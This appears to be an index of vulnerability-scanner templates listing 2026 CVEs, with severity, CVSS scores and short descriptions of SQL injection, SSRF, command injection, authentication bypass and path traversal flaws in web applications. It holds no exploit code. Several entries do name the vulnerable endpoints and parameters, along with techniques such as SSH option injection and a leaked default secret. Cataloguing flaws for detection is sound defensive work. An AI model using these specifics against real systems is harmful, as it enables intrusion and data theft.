{"ID":"CVE-2026-42208","Info":{"Name":"LiteLLM - SQL Injection","Severity":"critical","Description":"LiteLLM 1.81.16 to \u003c 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-42208.yaml"}
{"ID":"CVE-2026-42221","Info":{"Name":"Nginx UI \u003c= 2.3.7 - Unauthenticated Installer Exposure","Severity":"high","Description":"Nginx UI 2.0.0 to 2.3.8 contains an authentication bypass caused by unauthenticated access to /api/install during first-run setup, letting remote attackers claim the initial admin account, exploit requires attacker to access the service before legitimate operator.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-42221.yaml"}
{"ID":"CVE-2026-42271","Info":{"Name":"LiteLLM - Command Injection","Severity":"critical","Description":"A critical unauthenticated remote code execution vulnerability exists in LiteLLM due to improper input handling in the MCP stdio test endpoint. An attacker can send a specially crafted request to the `/mcp-rest/test/connection` endpoint with controlled parameters, resulting in arbitrary command execution on the server. When combined with an authentication bypass technique—such as the Starlette BadHost flaw (CVE-2026-48710)—an unauthenticated attacker can exploit the chain to execute commands as the server process. Exploitation allows an attacker to spawn processes with the privileges of the LiteLLM server, potentially leading to complete compromise of the host.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-42271.yaml"}
{"ID":"CVE-2026-42281","Info":{"Name":"MagicMirror \u003c= 2.35.0 - Server-Side Request Forgery","Severity":"critical","Description":"An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (VAR_NAME), enabling exfiltration of server-side secrets.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-42281.yaml"}
{"ID":"CVE-2026-42461","Info":{"Name":"Arcane \u003c 1.18.0 - Unauthenticated Template and Env Disclosure","Severity":"high","Description":"Arcane \u003c 1.18.0 contains an information disclosure caused by missing authorization on /api/templates GET endpoints, letting unauthenticated network clients read sensitive Compose YAML and .env content, exploit requires network access\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-42461.yaml"}
{"ID":"CVE-2026-42569","Info":{"Name":"phpVMS \u003c 7.0.6 - Legacy Importer Authorization Bypass","Severity":"critical","Description":"phpVMS \u003c 7.0.6 contains an authentication bypass caused by unauthenticated access to a legacy import feature, letting unauthenticated attackers access restricted functionality, exploit requires no special privileges.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-42569.yaml"}
{"ID":"CVE-2026-4257","Info":{"Name":"WordPress Contact Form by Supsystic - Server-Side Template Injection","Severity":"critical","Description":"Contact Form by Supsystic WordPress plugin \u003c= 1.7.36 contains a server-side template injection caused by unsandboxed Twig_Loader_String and cfsPreFill functionality, letting unauthenticated attackers execute arbitrary code remotely via GET parameters.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-4257.yaml"}
{"ID":"CVE-2026-42589","Info":{"Name":"Gotenberg - Command Injection","Severity":"critical","Description":"Gotenberg \u003c 8.31.0 contains a command injection caused by lack of validation on JSON metadata keys in /forms/pdfengines/metadata/write endpoint, letting unauthenticated attackers execute OS commands, exploit requires crafted HTTP request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-42589.yaml"}
{"ID":"CVE-2026-42596","Info":{"Name":"Gotenberg \u003c 8.31.0 - Server-Side Request Forgery","Severity":"critical","Description":"Gotenberg before 8.31.0 is vulnerable to server-side request forgery (SSRF) due to insufficient validation of URLs in the downloadFrom API. An unauthenticated attacker can exploit the flaw by providing specially crafted IPv4-mapped IPv6 addresses (such as http://[::ffff:127.0.0.1]) that bypass the deny-list and allow access to internal resources. Fixed versions properly recognize these addresses and prevent such requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-42596.yaml"}
{"ID":"CVE-2026-42647","Info":{"Name":"JoomSport \u003c= 5.7.7 - SQL Injection","Severity":"critical","Description":"The JoomSport WordPress plugin through 5.7.7 is vulnerable to unauthenticated time-based blind SQL injection via the 'sortf' GET parameter in the player list view. The parameter value is backtick-wrapped and directly concatenated into an ORDER BY clause.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-42647.yaml"}
{"ID":"CVE-2026-42796","Info":{"Name":"Arelle \u003c 2.39.10 - Remote Code Execution","Severity":"critical","Description":"Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle downloads and executes within its process.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-42796.yaml"}
{"ID":"CVE-2026-42878","Info":{"Name":"FacturaScripts - Unauthenticated phpinfo Disclosure","Severity":"medium","Description":"Detected FacturaScripts exposes a debug branch in the Installer controller that calls phpinfo() when the request carries the phpinfo=TRUE query parameter, and on an instance that has not finished installation, this endpoint was reachable without authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-42878.yaml"}
{"ID":"CVE-2026-44177","Info":{"Name":"Kirby CMS 5.3.0-5.4.0 - Path Traversal","Severity":"high","Description":"Kirby CMS versions 5.3.0 through 5.4.0 are vulnerable to a path traversal vulnerability via the /api/auth/login endpoint. An unauthenticated attacker may supply a specially crafted email value in the request body containing traversal sequences (such as \"../..\"), which the application concatenates directly into a filesystem path when hydrating user objects. This can result in the resolution of paths outside the intended accounts directory and may lead to the inclusion of unintended files such as index.php, causing a denial of service by exhausting memory limits. The issue is addressed in version 5.4.1 by properly validating and sanitizing the user-supplied input to prevent directory traversal.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-44177.yaml"}
{"ID":"CVE-2026-44262","Info":{"Name":"Scramble Laravel - Remote Code Execution","Severity":"critical","Description":"Scramble for Laravel \u003e= 0.13.2 and \u003c 0.13.22 contains a remote code execution caused by evaluation of user-controlled input in validation rules during documentation generation, letting remote attackers execute arbitrary PHP code, exploit requires publicly accessible documentation endpoints.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-44262.yaml"}
{"ID":"CVE-2026-44338","Info":{"Name":"PraisonAI - Authentication Bypass","Severity":"high","Description":"PraisonAI 2.5.6 to \u003c 4.6.34 contains a broken authentication caused by disabled default authentication in legacy Flask API server, letting remote attackers access /agents and trigger workflows without token, exploit requires network access to API server.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2026/CVE-2026-44338.yaml"}
{"ID":"CVE-2026-44343","Info":{"Name":"WGDashboard \u003c 4.3.2 - Unauthenticated File Read","Severity":"critical","Description":"WGDashboard \u003c 4.3.2 contains a path traversal vulnerability caused by improper access control, letting unauthorized attackers access the host file system without authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-44343.yaml"}
{"ID":"CVE-2026-44381","Info":{"Name":"MISP \u003c 2.5.37 - SQL Injection","Severity":"medium","Description":"MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-44381.yaml"}
{"ID":"CVE-2026-44551","Info":{"Name":"Open WebUI 'LDAP Empty Password' - Authentication Bypass","Severity":"critical","Description":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-44551.yaml"}
{"ID":"CVE-2026-44825","Info":{"Name":"Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials","Severity":"high","Description":"Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-44825.yaml"}
{"ID":"CVE-2026-45298","Info":{"Name":"Dozzle - Server Side Request Forgery","Severity":"high","Description":"Dozzle prior to 10.5.2 contains a server-side request forgery caused by unauthenticated access to POST /api/notifications/test-webhook forwarding attacker-controlled URLs, letting remote attackers send arbitrary HTTP POST requests and receive response data, exploit requires no authentication.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-45298.yaml"}
{"ID":"CVE-2026-45332","Info":{"Name":"Automad \u003c 2.0.0-beta.28 - Unauthenticated Admin Password Hash Disclosure","Severity":"high","Description":"Automad 2.0.0-alpha.1 to 2.0.0-beta.27 contains a broken access control vulnerability caused by publicly accessible /_api/user-collection/create-first-user endpoint returning full serialized user data, letting unauthenticated attackers retrieve bcrypt password hashes of all administrator accounts, exploit requires the endpoint to remain publicly accessible after initial setup.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-45332.yaml"}
{"ID":"CVE-2026-45397","Info":{"Name":"Open WebUI \u003c 0.9.5 - Information Disclosure","Severity":"medium","Description":"Open WebUI \u003c 0.9.5 contains an information disclosure vulnerability caused by unauthenticated access to GET /api/v1/retrieval/ endpoint, letting remote attackers retrieve live RAG pipeline configuration without authorization, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-45397.yaml"}
{"ID":"CVE-2026-45695","Info":{"Name":"Kopia Server 0.23.0 - Remote Code Execution","Severity":"critical","Description":"Kopia before version 0.23.0 allows unauthenticated remote code execution when started in server mode with the --without-password flag. When the /api/v1/repo/exists endpoint is exposed, it enables instantiation of the SFTP storage backend with user-supplied sshArguments. Due to improper argument parsing, an attacker may inject arbitrary SSH options such as -oProxyCommand, resulting in execution of arbitrary commands as the server process.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-45695.yaml"}
{"ID":"CVE-2026-4631","Info":{"Name":"Cockpit Web Console \u003c 360 - Remote Code Execution","Severity":"critical","Description":"Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-4631.yaml"}
{"ID":"CVE-2026-46339","Info":{"Name":"9Router \u003c= 0.4.36 - Unauthenticated RCE","Severity":"critical","Description":"9Router \u003c= 0.4.36 middleware only guards 8 explicitly listed routes, leaving /api/cli-tools/* and /api/mcp/* entirely unauthenticated. An attacker can POST to /api/cli-tools/cowork-settings to register a custom MCP plugin with attacker-controlled command and args stored verbatim into globalThis, then GET /api/mcp/{name}/sse to trigger spawn() with the stored command resulting in unauthenticated remote code execution.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-46339.yaml"}
{"ID":"CVE-2026-46364","Info":{"Name":"phpMyFAQ \u003c= 4.1.1 - SQL Injection","Severity":"critical","Description":"phpMyFAQ before 4.1.2 contains an unauthenticated SQL injection vulnerability in BuiltinCaptcha::garbageCollector() and BuiltinCaptcha::saveCaptcha() methods that interpolate unsanitized User-Agent headers into DELETE and INSERT queries. Unauthenticated attackers can exploit the public GET /api/captcha endpoint by crafting malicious User-Agent headers to perform time-based blind SQL injection, extracting sensitive data including user credentials, admin tokens, and SMTP credentials from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46364.yaml"}
{"ID":"CVE-2026-46372","Info":{"Name":"SillyTavern - Server-Side Request Forgery","Severity":"high","Description":"SillyTavern versions up to and including 1.17.0 expose the /api/search/searxng endpoint, which accepts an attacker-controlled baseUrl parameter and uses it directly to build outbound server-side fetch requests. An authenticated low-privilege user can point baseUrl at an internal or loopback HTTP service and receive the full response body, enabling read access to internal services, cloud metadata endpoints, and private network resources.\n","Classification":{"CVSSScore":"8.5"}},"file_path":"http/cves/2026/CVE-2026-46372.yaml"}
{"ID":"CVE-2026-46442","Info":{"Name":"Flowise \u003c 3.1.2 - node-custom-function Unauthorized RCE","Severity":"critical","Description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-46442.yaml"}
{"ID":"CVE-2026-46670","Info":{"Name":"YesWiki \u003c 4.6.4 - Unauthenticated SQL Injection","Severity":"critical","Description":"YesWiki before version 4.6.4 contains an unauthenticated SQL injection vulnerability in the Bazar form-import path. The bn_id_nature parameter in FormManager::create() is concatenated into an INSERT statement without sanitization, allowing unauthenticated attackers to inject arbitrary SQL and read the full database including password hashes.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46670.yaml"}
{"ID":"CVE-2026-46725","Info":{"Name":"TYPO3 ceselector Extension - Insecure Deserialization","Severity":"critical","Description":"TYPO3 extension contains a PHP Object Injection caused by passing attacker-controlled cookie to unserialize() without validation, letting remote unauthenticated attackers achieve remote code execution, exploit requires Persistent Mode: Static configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-46725.yaml"}
{"ID":"CVE-2026-47668","Info":{"Name":"DbGate - Remote Code Execution via Anonymous JWT","Severity":"critical","Description":"DbGate contains a remote code execution vulnerability exploitable by unauthenticated attackers. The /auth/login endpoint issues anonymous JWT tokens without credentials, and the /runners/start endpoint accepts JavaScript payloads that execute via Node.js child_process, allowing arbitrary command execution on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-47668.yaml"}
{"ID":"CVE-2026-47670","Info":{"Name":"DbGate - Remote Code Execution via Dynamic Import Bypass","Severity":"critical","Description":"DbGate versions \u003c= 7.1.8 are vulnerable to authenticated remote code execution via the POST /runners/load-reader endpoint. The functionName parameter is directly interpolated into a JavaScript code template without sanitization. The require=null mitigation is bypassed via dynamic import().\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-47670.yaml"}
{"ID":"CVE-2026-47717","Info":{"Name":"FUXA 1.3.0 - Unauthenticated ICS/SCADA Project Data Disclosure","Severity":"high","Description":"FUXA v1.3.0 exposes full SCADA/HMI project configuration via GET /api/project without authentication, even when secureEnabled is true. The secureFnc middleware auto-generates\na valid guest JWT when no token is provided, bypassing authentication. Exposed data includes server-side scripts, device configs, HMI views, and alarm definitions.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-47717.yaml"}
{"ID":"CVE-2026-48030","Info":{"Name":"Pheditor 2.0.1-2.0.3 - OS Command Injection","Severity":"critical","Description":"Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-48030.yaml"}
{"ID":"CVE-2026-4810","Info":{"Name":"Google ADK-Python - Unauthenticated Builder Endpoint","Severity":"critical","Description":"Google Agent Development Kit (ADK) 1.7.0 through 1.28.1 and 2.0.0a1 through 2.0.0a2 on Python (OSS), Cloud Run, and GKE contains a code injection and missing authentication vulnerability, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-4810.yaml"}
{"ID":"CVE-2026-48282","Info":{"Name":"Adobe ColdFusion - RDS Arbitrary File Write","Severity":"critical","Description":"ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary code execution in the context of the current user. The RDS FILEIO WRITE operation allows unauthenticated attackers to write arbitrary files when RDS is enabled with authentication disabled. Exploitation of this issue does not require user interaction. Scope is changed.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-48282.yaml"}
{"ID":"CVE-2026-48313","Info":{"Name":"ColdFusion - Path Traversal","Severity":"high","Description":"ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read and limited write access. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-48313.yaml"}
{"ID":"CVE-2026-48558","Info":{"Name":"SimpleHelp \u003c=5.5.15 - OIDC JWT Authentication Bypass","Severity":"critical","Description":"SimpleHelp \u003c= 5.5.15 and 6.0 pre-release contain an authentication bypass caused by lack of cryptographic signature verification in OIDC tokens, letting remote unauthenticated attackers gain technician sessions, exploit requires OIDC authentication configured.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-48558.yaml"}
{"ID":"CVE-2026-48611","Info":{"Name":"phpBB \u003c 3.3.17 - Authentication Bypass","Severity":"critical","Description":"phpBB before 3.3.17 contains an authentication bypass vulnerability in the login-link feature. By setting the auth_provider query parameter to \"apache\", an unauthenticated attacker can bypass password verification and log in as any user, including administrators. The Apache auth provider trusts the Basic authentication header username without password verification, as it assumes Apache handles authentication upstream.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-48611.yaml"}
{"ID":"CVE-2026-48710","Info":{"Name":"Starlette - Improper Validation of Unsafe Equivalence in Input","Severity":"critical","Description":"A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-48710.yaml"}
{"ID":"CVE-2026-48907","Info":{"Name":"Joomla! JCE extension \u003c 2.9.99.5 unauthenticated RCE","Severity":"critical","Description":"Joomla JCE editor extension contains an unrestricted file upload vulnerability caused by allowing unauthenticated users to create new editor profiles, letting attackers upload and execute PHP code remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-48907.yaml"}
{"ID":"CVE-2026-48939","Info":{"Name":"Joomla iCagenda \u003c 3.9.10 - Unauthenticated Arbitrary File Upload RCE","Severity":"critical","Description":"iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-48939.yaml"}
{"ID":"CVE-2026-49049","Info":{"Name":"JoomShaper Helix3 \u003c=3.1.0 - Unauthenticated Arbitrary JSON File Write","Severity":"high","Description":"JoomShaper Helix3 template framework versions 1.0 through 3.1.0 for Joomla expose an unauthenticated AJAX handler (plg_ajax_helix3) accessible via the Joomla com_ajax component. The onAjaxHelix3() plugin method processes data[action]=save requests without any authentication check or CSRF token validation. Unauthenticated remote attackers can write arbitrary JSON content to server-side files. The layoutName parameter contains no path traversal validation, enabling write to any directory writable by the web server process. Actively exploited in the wild by the AntonKill botnet campaign.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-49049.yaml"}
{"ID":"CVE-2026-49069","Info":{"Name":"WPZOOM Portfolio \u003c= 1.4.21 - Reflected Cross-Site Scripting","Severity":"high","Description":"WPZOOM Portfolio \u003c= 1.4.21 contains a reflected XSS caused by improper neutralization of input during web page generation, letting attackers execute scripts in victim's browser, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.1"}},"file_path":"http/cves/2026/CVE-2026-49069.yaml"}
{"ID":"CVE-2026-49777","Info":{"Name":"WordPress Product Slider Pro for WooCommerce \u003c 3.5.4 - Supply Chain Backdoor RCE","Severity":"critical","Description":"Improper Validation of Specified Quantity in Input vulnerability in ShapedPlugin, LLC Product Slider Pro for WooCommerce allows Malicious Software Implanted. This issue affects Product Slider Pro for WooCommerce: from n/a before 3.5.4.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-49777.yaml"}
{"ID":"CVE-2026-4987","Info":{"Name":"SureForms \u003c= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id","Severity":"high","Description":"The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2.\nThe create_payment_intent AJAX handler checks `if ($form_id \u003e 0 \u0026\u0026 !empty($block_id))` before calling validate_payment_amount().\nBy sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side\namount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-4987.yaml"}
{"ID":"CVE-2026-49952","Info":{"Name":"Discuz! X5.0 - Authentication Bypass","Severity":"critical","Description":"Discuz! X5.0 20260320 through 20260501 contains an authentication bypass caused by exploitation of a shared cryptographic key and encryption oracle in dbbak.php and logging_ctl::logging_more(), letting unauthenticated remote attackers access database backup and restore functions, exploit requires crafted payload injection via username parameter.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-49952.yaml"}
{"ID":"CVE-2026-50160","Info":{"Name":"Hoppscotch \u003c= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite","Severity":"critical","Description":"Hoppscotch self-hosted backend \u003c= 2026.4.1 contains a broken authentication caused by mass assignment via unauthenticated POST /v1/onboarding/config endpoint, letting unauthenticated attackers overwrite JWT_SECRET to forge tokens and fully compromise the server, exploit requires attacker to access fresh instance before onboarding completes or when no users exist.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-50160.yaml"}
{"ID":"CVE-2026-50229","Info":{"Name":"Apache Tomcat - Cross-Site Scripting","Severity":"medium","Description":"Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number guess example for Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fix the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-50229.yaml"}
{"ID":"CVE-2026-50230","Info":{"Name":"Lyrion Music Server \u003c= 9.2.0 - Cross-Site Scripting","Severity":"medium","Description":"Lyrion Music Server 9.2.0 contains a reflected XSS caused by improper sanitization of the search parameter in the server.log endpoint, letting unauthenticated attackers execute arbitrary script in users' browsers.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-50230.yaml"}
{"ID":"CVE-2026-5027","Info":{"Name":"Langflow \u003c= 1.8.4 - Path Traversal to RCE via File Upload","Severity":"high","Description":"The application contains a path traversal vulnerability caused by unsanitized 'filename' parameter in the 'POST /api/v2/files' multipart form data, letting attackers write files to arbitrary filesystem locations, exploit requires crafted request.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-5027.yaml"}
{"ID":"CVE-2026-5032","Info":{"Name":"W3 Total Cache \u003c= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure","Severity":"high","Description":"The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string \"W3 Total Cache\", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, the raw mfunc/mclude HTML comments - which embed the per-site W3TC_DYNAMIC_SECURITY token - are therefore rendered directly into the page source instead of being processed and stripped, letting an unauthenticated attacker harvest the token by comparing a normal response against one sent with the magic User-Agent.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-5032.yaml"}
{"ID":"CVE-2026-5073","Info":{"Name":"WordPress ARMember Premium \u003c= 7.3.1 - Unauthenticated SQL Injection","Severity":"critical","Description":"The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'arm_directory_paging_action' AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient escaping on the user-supplied 'order' and 'orderby' parameters and the lack of sufficient preparation on the existing SQL query in the `arm_get_directory_members()` function.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-5073.yaml"}
{"ID":"CVE-2026-50751","Info":{"Name":"Check Point IKEv1 Remote-Access VPN - Certificate Authentication Bypass","Severity":"critical","Description":"IKEv1 key exchange contains a broken authentication caused by logic flow weakness in Remote Access and Mobile Access certificate validation, letting unauthenticated remote attackers bypass user authentication and establish VPN connections without valid passwords, exploit requires use of deprecated IKEv1.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-50751.yaml"}
{"ID":"CVE-2026-52773","Info":{"Name":"YesWiki Archived Revision - Cross-Site Scripting","Severity":"medium","Description":"YesWiki's archived-revision view reflects the time GET parameter into a hidden HTML input in handlers/page/show.php without escaping. Because MySQL coerces malformed DATETIME strings, an attacker can append an XSS payload after a valid revision timestamp.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-52773.yaml"}
{"ID":"CVE-2026-52774","Info":{"Name":"YesWiki Bazar Widget - Reflected XSS via 'id' Parameter","Severity":"medium","Description":"YesWiki's Bazar widget handler reflects the id GET parameter into HTML attributes using strip_tags() only. strip_tags() does not escape double quotes, allowing an attacker to break out of the data-formid attribute and inject arbitrary event handlers.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-52774.yaml"}
{"ID":"CVE-2026-52806","Info":{"Name":"Gogs \u003c= 0.14.2 - Authenticated RCE via git rebase Argument Injection","Severity":"critical","Description":"Gogs is an open source self-hosted Git service. Prior to 0.14.3, Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the --exec flag into the git rebase command during the \"Rebase before merging\" merge operation.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-52806.yaml"}
{"ID":"CVE-2026-52815","Info":{"Name":"Gogs \u003c 0.14.3 - Unauthenticated Organization Teams Disclosure","Severity":"low","Description":"Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-52815.yaml"}
{"ID":"CVE-2026-52824","Info":{"Name":"Kimai \u003c= 2.57.0 - Default APP_SECRET Authentication Bypass","Severity":"critical","Description":"Kimai Docker images \u003c= 2.57.0 ship with a hardcoded APP_SECRET of \"change_this_to_something_unique\". This default secret is used by Symfony's SignatureHasher to HMAC-sign login links and remember-me cookies. An unauthenticated attacker who knows this default secret can forge valid authentication tokens and hijack any user account, including the super-admin.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-52824.yaml"}
{"ID":"CVE-2026-53519","Info":{"Name":"Nezha Dashboard \u003c 2.0.13 - Path Traversal","Severity":"critical","Description":"Nezha Monitoring \u003c 2.0.13 contains a path traversal caused by improper prefix checking in the dashboard's NoRoute handler, letting unauthenticated attackers read arbitrary files via crafted URLs.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-53519.yaml"}
{"ID":"CVE-2026-53576","Info":{"Name":"Kestra \u003c= 1.3.20 - Remote Code Execution","Severity":"critical","Description":"Kestra \u003c= 1.3.20 contains an authentication bypass caused by misclassification of /configs endpoint in REST API filter, letting unauthenticated attackers create and execute root-level tasks, exploit requires unauthenticated access to /configs endpoint.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-53576.yaml"}
{"ID":"CVE-2026-53595","Info":{"Name":"FreeScout \u003c 1.8.224 - Invite Hash Authorization Bypass","Severity":"critical","Description":"FreeScout prior to 1.8.224 contains an authentication bypass caused by improper invite_hash handling and decryption failure in user setup endpoint, letting anonymous attackers reset credentials and log in as the lowest-id activated user, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-53595.yaml"}
